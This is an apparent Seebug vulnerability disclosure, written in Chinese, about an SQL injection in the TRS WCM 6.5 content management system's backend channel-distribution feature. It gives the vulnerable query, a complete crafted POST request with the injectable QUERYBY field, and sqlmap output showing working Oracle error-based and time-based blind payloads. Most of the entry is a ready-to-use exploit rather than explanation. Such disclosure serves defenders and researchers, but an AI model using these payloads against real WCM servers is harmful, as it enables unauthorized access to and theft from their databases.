ID SSV:94690
Type seebug
Reporter Root
Modified 2014-04-22T00:00:00




测试版本:WCM6.5,问题出在后台“新建栏目分发” 直接看图:

<img src="" alt="1.jpg" width="600" onerror="javascript:errimg(this);">

select WCMDocument.DocId from WCMCHNLDOC,WCMDocument where WCMDocument.DocId=WCMChnlDoc.DocId and WCMChnlDoc.CHNLID=? AND (注入点) AND ( WCMChnlDoc.DOCSTATUS&gt;0 and WCMChnlDoc.Modal&gt;0 and WCMChnlDoc.DocChannel&gt;0) order by WCMChnlDoc.DOCORDERPRI desc, WCMChnlDoc.DocOrder descParam#1:0

POST http://马赛克 HTTP/1.1 Host: 马赛克 Connection: keep-alive Content-Length: 183 Origin: http://马赛克 X-Requested-With: XMLHttpRequest User-Agent: 马赛克 Content-type: multipart/form-data Accept: */* DNT: 1 Referer: http://马赛克马赛克 Accept-Encoding: gzip,deflate,sdch Accept-Language: zh-CN,zh;q=0.8 Cookie: JSESSIONID=5154EE38E4E8CDBA76F8699F7A0D36CE; DOC_SOURCE_NAME=; LastVersion=10 &lt;post-data&gt;&lt;method type="checkSQLValid"&gt;wcm6_channel&lt;/method&gt;&lt;parameters&gt;&lt;CHANNELID&gt;&lt;![CDATA[4754]]&gt;&lt;/CHANNELID&gt;&lt;QUERYBY&gt;&lt;![CDATA[1=1) *注入点]]&gt;&lt;/QUERYBY&gt;&lt;/parameters&gt;&lt;/post-data&gt;


``` root@kali:/tmp# sqlmap -r /tmp/test.txt --dbms=oracle --current-user --is-dba sqlmap/1.0-dev - automatic SQL injection and database takeover tool [!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program [] starting at 12:57:48 [12:57:48] [INFO] parsing HTTP request from '/tmp/test.txt' custom injection marking character ('') found in option '--data'. Do you want to process it? [Y/n/q] [12:57:49] [INFO] testing connection to the target URL [12:57:49] [WARNING] missing 'boundary parameter' in 'Content-Type' header. Will try to reconstruct [12:57:49] [WARNING] there is a DBMS error found in the HTTP response body which could interfere with the results of the tests sqlmap identified the following injection points with a total of 0 HTTP(s) requests:

Place: (custom) POST Parameter: #1* Type: error-based Title: Oracle AND error-based - WHERE or HAVING clause (XMLType) Payload: <post-data><method type="checkSQLValid">wcm6_channel</method><parameters><CHANNELID><![CDATA[4754]]></CHANNELID><QUERYBY><![CDATA[1=1) AND 2628=(SELECT UPPER(XMLType(CHR(60)||CHR(58)||CHR(113)||CHR(117)||CHR(113)||CHR(115)||CHR(113)||(SELECT (CASE WHEN (2628=2628) THEN 1 ELSE 0 END) FROM DUAL)||CHR(113)||CHR(102)||CHR(101)||CHR(108)||CHR(113)||CHR(62))) FROM DUAL)-- kwkr]]></QUERYBY></parameters></post-data> Type: AND/OR time-based blind Title: Oracle AND time-based blind Payload: <post-data><method type="checkSQLValid">wcm6_channel</method><parameters><CHANNELID><![CDATA[4754]]></CHANNELID><QUERYBY><![CDATA[1=1) AND 1990=DBMS_PIPE.RECEIVE_MESSAGE(CHR(76)||CHR(72)||CHR(82)||CHR(86),5)-- TIhS]]></QUERYBY></parameters></post-data>

[12:57:49] [INFO] the back-end DBMS is Oracle ```